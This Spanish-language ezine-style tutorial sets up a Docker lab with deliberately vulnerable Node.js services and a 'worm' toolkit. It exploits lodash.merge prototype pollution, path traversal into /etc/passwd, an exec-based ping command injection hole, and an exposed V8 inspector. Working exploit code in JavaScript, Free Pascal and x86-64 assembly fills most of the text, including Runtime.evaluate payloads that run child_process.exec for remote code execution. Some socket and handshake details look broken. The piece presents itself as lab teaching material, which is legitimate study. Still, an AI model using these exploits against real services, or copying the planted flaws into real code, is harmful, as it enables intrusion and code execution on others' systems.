— O cómo sobrevivir al apocalipsis de la abstracción
Advertencia: Este material es exclusivamente educativo.
Todos los ejemplos deben ejecutarse en un entorno aislado (Docker local).
Nunca usar contra sistemas reales.
node-worm-lab/
├── docker-compose.yml
├── services/
│ ├── service-a/ # Vulnerable a prototype pollution
│ ├── service-b/ # Path traversal + RCE light
│ └── service-c/ # Inspector de V8 expuesto
└── worm/
├── worm.js # Worm en JavaScript (educativo)
├── worm_fp.pas # Worm en Free Pascal
├── v8_exploit_fp.pas # Exploit del Inspector V8 en Pascal
└── v8_exploit.asm # Exploit en ensamblador x86-64
docker-compose.ymlversion: '3'
services:
service-a:
build: ./services/service-a
ports:
- "3001:3000"
networks:
- wormnet
service-b:
build: ./services/service-b
ports:
- "3002:3000"
networks:
- wormnet
service-c:
build: ./services/service-c
ports:
- "3003:3000"
- "9229:9229"
networks:
- wormnet
attacker:
image: alpine:latest
volumes:
- ./worm:/worm
working_dir: /worm
command: sleep 3600
networks:
- wormnet
networks:
wormnet:
driver: bridge
services/service-a/app.js
const express = require('express');
const merge = require('lodash.merge');
const app = express();
app.use(express.json());
let config = { isAdmin: false };
app.post('/update', (req, res) => {
merge(config, req.body);
res.json({ status: 'updated', config });
});
app.get('/debug', (req, res) => {
res.json({ config, isAdmin: config.isAdmin });
});
app.listen(3000, '0.0.0.0', () => {
console.log('Service A running on 3000');
});
services/service-a/package.json
{
"name": "service-a",
"main": "app.js",
"dependencies": {
"express": "^4.18.0",
"lodash.merge": "^4.6.2"
}
}
services/service-a/Dockerfile
FROM node:18
WORKDIR /app
COPY package*.json ./
RUN npm install
COPY . .
CMD ["node", "app.js"]
services/service-b/app.js
const express = require('express');
const fs = require('fs');
const { exec } = require('child_process');
const app = express();
app.get('/file', (req, res) => {
const file = req.query.path || 'readme.txt';
fs.createReadStream(file).on('error', () => {
res.status(404).send('Not found');
}).pipe(res);
});
app.get('/ping', (req, res) => {
const host = req.query.host || '127.0.0.1';
exec(`ping -c 1 ${host}`, (err, stdout) => {
res.send(`<pre>${stdout}</pre>`);
});
});
app.listen(3000, '0.0.0.0');
services/service-c/app.js
const express = require('express');
const app = express();
app.get('/', (req, res) => {
res.send('Service C - con inspector ABIERTO 👀');
});
app.listen(3000, '0.0.0.0');
services/service-c/Dockerfile
FROM node:18
WORKDIR /app
COPY package*.json ./
RUN npm install express
COPY . .
CMD ["node", "--inspect=0.0.0.0:9229", "app.js"]
worm/worm.js
const axios = require('axios');
const fs = require('fs');
const TARGETS = [
'http://service-a:3000',
'http://service-b:3000',
'http://service-c:3000'
];
async function infectServiceA() {
try {
await axios.post('http://service-a:3000/update', {
"__proto__.isAdmin": true
});
console.log('[+] Service A: prototype pollution exitoso');
fs.writeFileSync('/tmp/infected_service_a.txt', 'PWNED by weón - prototype pollution\n');
} catch (e) {
console.log('[-] Service A: falló');
}
}
async function infectServiceB() {
try {
const res = await axios.get('http://service-b:3000/file?path=/etc/passwd');
if (res.data.includes('root')) {
console.log('[+] Service B: path traversal exitoso');
fs.writeFileSync('/tmp/infected_service_b.txt', 'PWNED by weón - path traversal\n');
}
} catch (e) {
console.log('[-] Service B: falló');
}
}
function infectServiceC() {
console.log('[+] Service C: inspector V8 expuesto (¡listo para RCE real!)');
fs.writeFileSync('/tmp/infected_service_c.txt', 'PWNED by weón - V8 inspector abierto\n');
}
async function main() {
console.log('🚀 Worm educativo activado (solo en lab local)');
await infectServiceA();
await infectServiceB();
infectServiceC();
console.log('✅ Propagación simulada. Revisa /tmp/ en cada contenedor.');
}
main();
worm/worm_fp.pas
{$mode objfpc}{$H+}
uses
SysUtils, Sockets, Classes, StrUtils;
const
TARGETS: array[0..2] of string = (
'service-a',
'service-b',
'service-c'
);
HTTP_PORT = 3000;
INSPECTOR_PORT = 9229;
function CheckPort(const Host: string; Port: Word): Boolean;
var
Sock: LongInt;
Addr: THostAddr;
SockAddr: TInetSockAddr;
begin
Result := False;
Addr := HostToAddr(Host);
if Addr = INADDR_NONE then Exit;
Sock := fpSocket(AF_INET, SOCK_STREAM, 0);
if Sock = -1 then Exit;
SockAddr.sin_family := AF_INET;
SockAddr.sin_port := htons(Port);
SockAddr.sin_addr.s_addr := Addr;
if fpConnect(Sock, @SockAddr, SizeOf(SockAddr)) = 0 then
Result := True;
fpClose(Sock);
end;
function SendHTTPGet(const Host: string; const Path: string): string;
var
Sock: LongInt;
Addr: THostAddr;
SockAddr: TInetSockAddr;
Request, Buffer: string;
Bytes: LongInt;
Stream: TStringStream;
begin
Result := '';
Addr := HostToAddr(Host);
if Addr = INADDR_NONE then Exit;
Sock := fpSocket(AF_INET, SOCK_STREAM, 0);
if Sock = -1 then Exit;
SockAddr.sin_family := AF_INET;
SockAddr.sin_port := htons(HTTP_PORT);
SockAddr.sin_addr.s_addr := Addr;
if fpConnect(Sock, @SockAddr, SizeOf(SockAddr)) <> 0 then
begin
fpClose(Sock);
Exit;
end;
Request := Format('GET %s HTTP/1.1'#13#10+
'Host: %s'#13#10+
'Connection: close'#13#10#13#10,
[Path, Host]);
fpSend(Sock, PChar(Request), Length(Request), 0);
Stream := TStringStream.Create('');
SetLength(Buffer, 1024);
repeat
Bytes := fpRecv(Sock, PChar(Buffer), Length(Buffer), 0);
if Bytes > 0 then
Stream.Write(Buffer[1], Bytes);
until Bytes <= 0;
Result := Stream.DataString;
Stream.Free();
fpClose(Sock);
end;
procedure InfectServiceA;
begin
if CheckPort('service-a', HTTP_PORT) then
WriteLn('[+] Service A: puerto 3000 abierto (posible prototype pollution)');
end;
procedure InfectServiceB;
var
Response: string;
begin
if CheckPort('service-b', HTTP_PORT) then
begin
Response := SendHTTPGet('service-b', '/file?path=/etc/passwd');
if Pos('root:', Response) > 0 then
WriteLn('[+] Service B: path traversal posible')
else
WriteLn('[?] Service B: puerto abierto, pero no confirmado');
end;
end;
procedure InfectServiceC;
begin
if CheckPort('service-c', INSPECTOR_PORT) then
WriteLn('[!] Service C: ¡Inspector V8 expuesto en puerto 9229! (RCE trivial)');
end;
procedure LeaveMark;
var
F: TextFile;
begin
AssignFile(F, '/tmp/infected_by_fp.txt');
Rewrite(F);
WriteLn(F, 'PWNED by weón - Worm educativo en Free Pascal (2024)');
WriteLn(F, 'Binario limpio. Sin node_modules. Sin tonteras.');
CloseFile(F);
WriteLn('[*] Marca dejada en /tmp/infected_by_fp.txt');
end;
begin
WriteLn('🚀 Worm en Free Pascal activado (modo educativo)');
WriteLn('Escaneando red local...');
InfectServiceA;
InfectServiceB;
InfectServiceC;
LeaveMark;
WriteLn('✅ Análisis completado. Estudia las fallas, no las explotes en producción.');
end.
worm/v8_exploit_fp.pas
{$mode objfpc}{$H+}
uses
SysUtils, Sockets, Classes, StrUtils, Base64;
const
TARGET_HOST = 'service-c';
INSPECTOR_PORT = 9229;
function HandshakeWebSocket(const Host: string): LongInt;
var
Sock: LongInt;
Addr: THostAddr;
SockAddr: TInetSockAddr;
Request, Response, Buffer: string;
Bytes: LongInt;
begin
Result := -1;
Addr := HostToAddr(Host);
if Addr = INADDR_NONE then Exit;
Sock := fpSocket(AF_INET, SOCK_STREAM, 0);
if Sock = -1 then Exit;
SockAddr.sin_family := AF_INET;
SockAddr.sin_port := htons(INSPECTOR_PORT);
SockAddr.sin_addr.s_addr := Addr;
if fpConnect(Sock, @SockAddr, SizeOf(SockAddr)) <> 0 then
begin
fpClose(Sock);
Exit;
end;
Request := 'GET /json HTTP/1.1'#13#10 +
'Host: ' + Host + ':' + IntToStr(INSPECTOR_PORT) + #13#10 +
'Connection: close'#13#10#13#10;
fpSend(Sock, PChar(Request), Length(Request), 0);
SetLength(Buffer, 4096);
Bytes := fpRecv(Sock, PChar(Buffer), Length(Buffer), 0);
Response := Copy(Buffer, 1, Bytes);
if Pos('"devtoolsFrontendUrl"', Response) = 0 then
begin
WriteLn('[-] No se encontró endpoint de WebSocket');
fpClose(Sock);
Exit;
end;
fpClose(Sock);
Sock := fpSocket(AF_INET, SOCK_STREAM, 0);
if fpConnect(Sock, @SockAddr, SizeOf(SockAddr)) <> 0 then
begin
fpClose(Sock);
Exit;
end;
Request := 'GET /' + #13#10 +
'Host: ' + Host + ':' + IntToStr(INSPECTOR_PORT) + #13#10 +
'Upgrade: websocket'#13#10 +
'Connection: Upgrade'#13#10 +
'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ=='#13#10 +
'Sec-WebSocket-Version: 13'#13#10#13#10;
fpSend(Sock, PChar(Request), Length(Request), 0);
Bytes := fpRecv(Sock, PChar(Buffer), Length(Buffer), 0);
if (Bytes <= 0) or (Pos('101 Switching Protocols', Buffer) = 0) then
begin
WriteLn('[-] Handshake WebSocket fallido');
fpClose(Sock);
Exit;
end;
Result := Sock;
end;
procedure SendWebSocketFrame(Sock: LongInt; const Data: string);
var
Frame: array of Byte;
i, Len: Integer;
begin
Len := Length(Data);
SetLength(Frame, 2 + Len);
Frame[0] := $81;
if Len <= 125 then
Frame[1] := Len
else
raise Exception.Create('Mensaje muy largo');
for i := 0 to Len - 1 do
Frame[2 + i] := Ord(Data[i + 1]);
fpSend(Sock, @Frame[0], Length(Frame), 0);
end;
function RecvWebSocketFrame(Sock: LongInt): string;
var
Header: array[0..1] of Byte;
PayloadLen, i: Integer;
Payload: array of Byte;
begin
fpRecv(Sock, @Header, 2, 0);
PayloadLen := Header[1] and $7F;
if PayloadLen > 125 then
begin
Result := '';
Exit;
end;
SetLength(Payload, PayloadLen);
fpRecv(Sock, @Payload[0], PayloadLen, 0);
SetLength(Result, PayloadLen);
for i := 0 to PayloadLen - 1 do
Result[i + 1] := Chr(Payload[i]);
end;
procedure ExploitV8(Sock: LongInt);
var
Msg, Response: string;
begin
Msg := '{"id":1,"method":"Runtime.evaluate","params":{"expression":'+
'"require(\"'+'child_process\"+'+'\").exec(\"'+'echo PWNED_BY_FP > /tmp/v8_pwned.txt\"+'+'\")"}}';
WriteLn('[*] Enviando payload de RCE...');
SendWebSocketFrame(Sock, Msg);
Response := RecvWebSocketFrame(Sock);
if Pos('"result"', Response) > 0 then
WriteLn('[+] ¡RCE exitoso! Revisa /tmp/v8_pwned.txt en service-c')
else
WriteLn('[-] Algo falló: ' + Copy(Response, 1, 200));
end;
begin
WriteLn('💥 Exploit del Inspector de V8 en Free Pascal');
WriteLn('Conectando a ' + TARGET_HOST + ':' + IntToStr(INSPECTOR_PORT));
var Sock := HandshakeWebSocket(TARGET_HOST);
if Sock = -1 then
begin
WriteLn('[-] No se pudo conectar');
Halt(1);
end;
ExploitV8(Sock);
fpClose(Sock);
end.
worm/v8_exploit.asm
section .data
target_ip dd 0x040012ac ; 172.18.0.4 (ajustar según docker inspect)
target_port dw 0x9d24 ; 9229
ws_handshake db 'GET / HTTP/1.1',13,10
db 'Host: service-c:9229',13,10
db 'Upgrade: websocket',13,10
db 'Connection: Upgrade',13,10
db 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==',13,10
db 'Sec-WebSocket-Version: 13',13,10
db 13,10
ws_handshake_len equ $ - ws_handshake
payload db '{"id":1,"method":"Runtime.evaluate","params":{"expression":'
db '"require(\"child_process\").exec(\"echo ASM_PWNED > /tmp/asm_pwned.txt\")"'
db '}}'
payload_len equ $ - payload
msg_start db '💀 ASM Exploit V8 - Conectando...',10,0
msg_ok db '[+] ¡RCE exitoso! Revisa /tmp/asm_pwned.txt',10,0
msg_fail db '[-] Falló',10,0
section .bss
sock_fd resd 1
buffer resb 4096
section .text
global _start
_start:
mov rax, 1
mov rdi, 1
mov rsi, msg_start
mov rdx, 35
syscall
mov rax, 41
mov rdi, 2
mov rsi, 1
mov rdx, 0
syscall
mov [sock_fd], rax
mov rax, 42
mov rdi, [sock_fd]
mov rsi, sockaddr
mov rdx, 16
syscall
cmp rax, 0
jl exit_fail
mov rax, 1
mov rdi, [sock_fd]
mov rsi, ws_handshake
mov rdx, ws_handshake_len
syscall
mov rax, 0
mov rdi, [sock_fd]
mov rsi, buffer
mov rdx, 4096
syscall
mov rax, 1
mov rdi, [sock_fd]
mov rsi, payload
mov rdx, payload_len
syscall
mov rax, 0
mov rdi, [sock_fd]
mov rsi, buffer
mov rdx, 100
syscall
mov rax, 3
mov rdi, [sock_fd]
syscall
mov rax, 1
mov rdi, 1
mov rsi, msg_ok
mov rdx, 52
syscall
mov rax, 60
mov rdi, 0
syscall
exit_fail:
mov rax, 1
mov rdi, 1
mov rsi, msg_fail
mov rdx, 12
syscall
mov rax, 60
mov rdi, 1
syscall
section .data
sockaddr:
.family dw 2
.port dw 0x242d
.ip dd 0x040012ac
.zero dq 0
docker-compose up --build
docker-compose exec attacker sh
apk add nodejs npm fpc nasm
cd /worm && npm install axios && node worm.jscd /worm && fpc -O2 worm_fp.pas && ./worm_fpfpc -O2 v8_exploit_fp.pas && ./v8_exploit_fpnasm -f elf64 v8_exploit.asm -o v8_exploit.o
ld v8_exploit.o -o v8_exploit
./v8_exploit
docker-compose exec service-c cat /tmp/asm_pwned.txt
exec() siguen siendo comunes en 2024."No se trata de usar la herramienta más nueva…
sino de entender la que usas hasta el último bit."
// EOF — Archivar como ezine. Imprimir en papel. Leer bajo luz de terminal verde.